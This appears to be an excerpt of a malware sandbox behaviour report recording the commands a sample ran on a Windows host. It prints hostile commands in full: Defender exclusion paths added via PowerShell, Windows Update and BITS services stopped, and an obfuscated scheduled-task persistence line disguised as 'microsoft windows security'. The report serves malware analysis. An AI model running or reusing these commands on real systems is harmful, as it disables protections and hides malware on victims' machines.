Source: C:\Users\user\Desktop\Us051y7j25.exe	Process created: C:\Users\user\AppData\Local\Temp\21324.scr "C:\Users\user\AppData\Local\Temp\21324.scr" /S	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop UsoSvc	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop WaaSMedicSvc	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop wuauserv	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop DoSvc	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop BITS /wait	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /delete /f /tn "Windows Upgrade Manager"
Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\System32\conhost.exe
Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	Process created: C:\Windows\System32\dwm.exe C:\Windows\System32\dwm.exe

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#evrkcgqew#> if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'microsoft windows security' /tr '''c:\users\user\microsoft windows security\winupsecvmgr.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\users\user\microsoft windows security\winupsecvmgr.exe') -trigger (new-scheduledtasktrigger -atlogon) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'microsoft windows security' -runlevel 'highest' -force; }
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#evrkcgqew#> if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'microsoft windows security' /tr '''c:\users\user\microsoft windows security\winupsecvmgr.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\users\user\microsoft windows security\winupsecvmgr.exe') -trigger (new-scheduledtasktrigger -atlogon) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'microsoft windows security' -runlevel 'highest' -force; }
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#ydcfdz#> if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'microsoft windows security' /tr '''c:\users\user\microsoft windows security\winupsecvmgr.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\users\user\microsoft windows security\winupsecvmgr.exe') -trigger (new-scheduledtasktrigger -atlogon) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'microsoft windows security' -runlevel 'highest' -force; }
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#evrkcgqew#> if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'microsoft windows security' /tr '''c:\users\user\microsoft windows security\winupsecvmgr.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\users\user\microsoft windows security\winupsecvmgr.exe') -trigger (new-scheduledtasktrigger -atlogon) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'microsoft windows security' -runlevel 'highest' -force; }
Source: C:\Users\user\AppData\Local\Temp\1239611256.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#evrkcgqew#> if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'microsoft windows security' /tr '''c:\users\user\microsoft windows security\winupsecvmgr.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\users\user\microsoft windows security\winupsecvmgr.exe') -trigger (new-scheduledtasktrigger -atlogon) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'microsoft windows security' -runlevel 'highest' -force; }
Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#evrkcgqew#> if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'microsoft windows security' /tr '''c:\users\user\microsoft windows security\winupsecvmgr.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\users\user\microsoft windows security\winupsecvmgr.exe') -trigger (new-scheduledtasktrigger -atlogon) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'microsoft windows security' -runlevel 'highest' -force; }
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#ydcfdz#> if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'microsoft windows security' /tr '''c:\users\user\microsoft windows security\winupsecvmgr.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\users\user\microsoft windows security\winupsecvmgr.exe') -trigger (new-scheduledtasktrigger -atlogon) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'microsoft windows security' -runlevel 'highest' -force; }
Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#evrkcgqew#> if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'microsoft windows security' /tr '''c:\users\user\microsoft windows security\winupsecvmgr.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\users\user\microsoft windows security\winupsecvmgr.exe') -trigger (new-scheduledtasktrigger -atlogon) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'microsoft windows security' -runlevel 'highest' -force; }

Source: C:\Users\user\AppData\Local\Temp\21324.scr	Code function: GetLocaleInfoA,strcmp,	3_2_0040F1B0
Source: C:\Windows\sysppvrdnvs.exe	Code function: GetLocaleInfoA,strcmp,	4_2_0040F1B0
Source: C:\Windows\sysppvrdnvs.exe	Code function: GetLocaleInfoA,strcmp,	18_2_0040F1B0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1881231804.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
